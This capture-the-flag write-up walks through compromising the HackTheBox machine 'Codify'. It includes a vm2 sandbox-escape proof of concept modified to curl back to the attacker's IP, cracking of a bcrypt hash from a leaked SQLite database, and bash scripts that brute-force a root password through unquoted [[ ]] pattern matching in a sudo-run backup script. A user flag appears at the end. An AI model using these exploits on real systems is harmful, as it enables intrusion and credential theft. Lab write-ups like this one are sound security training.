Nmap Results
# Nmap 7.94SVN scan initiated Wed Feb 7 12:26:09 2024 as: nmap -Pn -p- -sT --min-rate 5000 -A -oN nmap.txt 10.10.11.239
Nmap scan report for 10.10.11.239
Host is up (0.012s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://codify.htb/
3000/tcp open http Node.js Express framework
|_http-title: Codify
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=2/7%OT=22%CT=1%CU=41760%PV=Y%DS=2%DC=T%G=Y%TM=65C3B
OS:D47%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)S
OS:EQ(SP=103%GCD=2%ISR=10C%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M53CST11NW7%O2=M53CST
OS:11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CST11NW7%O6=M53CST11)WIN(W1=F
OS:E88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M
OS:53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T
OS:4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+
OS:%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y
OS:%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%
OS:RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 10.50 ms 10.10.14.1
2 10.55 ms 10.10.11.239
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Feb 7 12:26:32 2024 -- 1 IP address (1 host up) scanned in 22.96 seconds
Noting the http://codify.htb
redirect in the tcp/80
output, let's add that to our /etc/hosts
file.
echo '10.10.11.239 codify.htb' | sudo tee -a /etc/hosts
Service Enumeration
TCP/80, TCP/3000
These are duplicate ports. Likely what is going on here is this:
tcp/3000
is the Node.js Express server runningCodify
, which should really be bound to the loopback interfacetcp/80
is Apache reverse proxying totcp/3000
Gobuster Enumeration
gobuster dir -u http://codify.htb -w /usr/share/seclists/Discovery/Web-Content/big.txt -x html,php,txt -o gobuster-80.txt -t 100
Continued Enumeration
Seems like there might be a RCE vulnerability that affects version up to 3.9.16
with CVE ID, CVE-2023-30547
.
If we search for CVE-2023-30547
, we can find this page in the National Vulnerability Database:
There exists a vulnerability in exception sanitization of vm2 for versions up to 3.9.16, allowing attackers to raise an unsanitized host exception insidehandleException()
which can be used to escape the sandbox and run arbitrary code in host context. This vulnerability was patched in the release of version3.9.17
ofvm2
. There are no known workarounds for this vulnerability. Users are advised to upgrade.
We can find a proof-of-concept exploit linked in the NVD page:
Exploit
Making Sense of the Exploit
Proof-of-Concept from GitHub
const {VM} = require("vm2");
const vm = new VM();
const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`
console.log(vm.run(code));
Let's recall from the /limitations
page on the target server, this statement:
This exploit works, because while the application does prevent the loading of the child_process
module in the code editor, it fails to do so when required by a error handler. Therefore in the try{}catch{}
block, when throw
raises the exception in the try{}
code block, the require('child_process')
statement is loaded in the catch{}
code block.
We can see the execSync()
called by child_process
runs touch pwned
on the underlying operating system. So, we can change touch pwned
to our desired system command.
Getting a Reverse Shell
Let's test the exploit and see how the target responds to a curl
command, where we call back to our Kali VPN IP.
const {VM} = require("vm2");
const vm = new VM();
const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('curl http://10.10.14.15');
}
`
console.log(vm.run(code));
Success! We should have no trouble at all getting a reverse shell at this point.
Switching to SSH
cat svc_key.pub
ssh -i svc_key svc@codify.htb
Post-Exploit Enumeration
Operating Environment
OS & Kernel
Linux codify 5.15.0-88-generic #98-Ubuntu SMP Mon Oct 2 15:18:56 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
PRETTY_NAME="Ubuntu 22.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.3 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
Current User
uid=1001(svc) gid=1001(svc) groups=1001(svc)
Sorry, user svc may not run sudo on codify.
Users and Groups
Local Users
joshua:x:1000:1000:,,,:/home/joshua:/bin/bash
svc:x:1001:1001:,,,:/home/svc:/bin/bash
Local Groups
joshua:x:1000:
svc:x:1001:
sys-adm:x:1006:
Network Configurations
Network Interfaces
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:b9:29:28 brd ff:ff:ff:ff:ff:ff
altname enp3s0
altname ens160
inet 10.10.11.239/23 brd 10.10.11.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:2928/64 scope global dynamic mngtmpaddr
valid_lft 86395sec preferred_lft 14395sec
inet6 fe80::250:56ff:feb9:2928/64 scope link
valid_lft forever preferred_lft forever
3: br-5ab86a4e40d0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:9a:31:84:f6 brd ff:ff:ff:ff:ff:ff
inet 172.19.0.1/16 brd 172.19.255.255 scope global br-5ab86a4e40d0
valid_lft forever preferred_lft forever
inet6 fe80::42:9aff:fe31:84f6/64 scope link
valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:93:41:f2:3c brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
5: br-030a38808dbf: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:18:fb:eb:b5 brd ff:ff:ff:ff:ff:ff
inet 172.18.0.1/16 brd 172.18.255.255 scope global br-030a38808dbf
valid_lft forever preferred_lft forever
7: veth68599c1@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-5ab86a4e40d0 state UP group default
link/ether 92:99:21:3b:a8:1c brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet6 fe80::9099:21ff:fe3b:a81c/64 scope link
valid_lft forever preferred_lft forever
Open Ports
tcp 0 0 127.0.0.1:42595 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
Processes and Services
Interesting Processes
USER PID COMMAND
lxd 1678 mariadbd
root 1535 /bin/sh /root/scripts/other/docker-startup.sh
svc 1260 PM2 v5.3.0: God Daemon (/home/svc/.pm2)
Interesting Services
docker.service loaded active running Docker Application Containe>
pm2-svc.service loaded active running PM2 process manager
Interesting Files
/opt/scripts/mysql-backup.sh
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo
if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi
/usr/bin/mkdir -p "$BACKUP_DIR"
databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")
for db in $databases; do
/usr/bin/echo "Backing up database: $db"
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done
/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'
/var/www/contact/tickets.db
# Command used to find the file
grep -ilar joshua / 2>/dev/null
�T5��T�format 3@ .WJ
tableticketsticketsCREATE TABLE tickets (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, topic TEXT, description TEXT, status TEXT)P++Ytablesqlite_sequencesqlite_sequenceCREATE TABLE sqlite_sequence(name,seq)�� tableusersusersCREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE,
password TEXT
��G�joshua$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
��
����ua users
ickets
r]r�h%%�Joe WilliamsLocal setup?I use this site lot of the time. Is it possible to set this up locally? Like instead of coming to this site, can I download this and set it up in my own computer? A feature like that would be nice.open� ;�wTom HanksNeed networking modulesI think it would be better if you can implement a way to handle network-based stuff. Would help me out a lot. Thanks!open
Privilege Escalation
Lateral to Joshua
We found a bcrypt
hash for joshua
in /var/www/contact/tickets.db
. Paste the password hash in file Kali in the format shown below.
echo 'joshua:$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2' > hash
john --wordlist=rockyou.txt hash
ssh joshua@codify.htb
joshua
we can repeat the post-exploit enumeration steps.Escalate to Root
Understanding the Vulnerability
We discovered the /opt/scripts/mysql-backup.sh
script early in the post-exploit enumeration, but now that we've pivoted to joshua
, it's obvious that with the sudo
privileges to run this script that we've found the root
escalation path.
It took me a bit to understand how this script could be abused, but should have been more obvious initially. If you're not that familiar with bash scripting, then this would have been more of a challenge.
[[ reference_value == comparison_value ]]
vs [ reference_value == comparison_value ]
in the bash script.To further expand, I'll give you an example using some simple code below.
[ password == password ]
evaluates toThey're the same
[[ password == password ]]
also evaluates toThey're the same
[ password == pass* ]
evaluates toThey're not the same
[[ password == pass* ]]
evaluates toThey're the same
This is because the use of [[ ]]
double square brackets allows for pattern matching to be evaluated, and pass*
is a wildcard regular expression pattern that will match pass
, passw
, passe
, passwo
, etc.
Moreover, it would have been safer if the programmer had wrapped the values in quotes, which would cause the values to be taken literally.
Exploiting the Vulnerable Script
Initial Proof-of-Concept
We're going to use a for
loop, some character ranges — 0-9
and a-z
— and the *
asterisk wildcard to do a pattern match on the first character of the password.
for character in {0..9} {a..z} {A..Z} ; do \
if echo "$character*" | sudo /opt/scripts/mysql-backup.sh 2>/dev/null | grep confirmed ; then \
echo "Pattern match: $character*" ; \
fi ; \
done
Finding the Length of the Password
Now, let's use a script to determine the length and character set of the password. Before, we used just alphanumeric characters (no symbols), so we'll stick with that for now.
#! /usr/bin/env bash
pattern='[0-9a-zA-Z]'
pw_confirmed=''
repetitions=1
while [[ -z "$pw_confirmed" ]]; do
test_pattern=$(printf "%${repetitions}s" | sed "s/ /$pattern/g")
echo $test_pattern| sudo /opt/scripts/mysql-backup.sh 2>/dev/null | grep confirmed > /dev/null && pw_confirmed='True' && echo "Password length: $repetitions"
((repetitions+=1))
done
What this script is doing is effectively multiplying the pattern [0-9a-zA-Z]
times the number in $repetitions
and testing that against the vulnerable script. Effectively:
[0-9a-zA-Z]
[0-9a-zA-Z][0-9a-zA-Z]
[0-9a-zA-Z][0-9a-zA-Z][0-9a-zA-Z]
[0-9a-zA-Z][0-9a-zA-Z][0-9a-zA-Z][0-9a-zA-Z]
- And so on...
And we do this until the [[ $DB_PASS = $USER_PASS ]]
pattern match evaluates to True
, as the repetitions of [0-9a-zA-Z]
will be equal to the number of characters in $DB_PASS
.
Cracking the Password
Now that we know the length of the password, we can take a similar approach to find the correct password using a pattern match.
#! /usr/bin/env bash
scriptFile='/opt/scripts/mysql-backup.sh'
chars=$(echo {0..9} {a..z} {A..Z})
pw_length=21
password=''
while [ ${#password} -ne $pw_length ]; do
for char in $(echo $chars) ; do
echo "${password}${char}*" | sudo $scriptFile 2>/dev/null | grep confirmed > /dev/null && password="${password}${char}"
done
echo "Password characters found so far: ${password}"
done
echo "Possible password: ${password}"
The key points to this script are as follows:
chars=$(echo {0..9} {a..z} {A..Z}
defines the character set to usepw_length=21
defines the final length of the scriptpassword=''
is an empty string onto which to concatenate found characterswhile [ ${#password -ne $pw_length ]
runs the loop until the length of$password
is equal$pw_length
- echo
"${password}${char}*"
to the script- Then,
grep confirmed
in the output and if present&&
chainpassword="${password}${char}
- So,
password
starts off as empty, then we concatenate character after character
- Then,
Let's see if the root
MySQL password is repeated as the login password by running su root
and inputting the password.
Flags
User
95ac184edf57457610df6c00f73baf1f
Root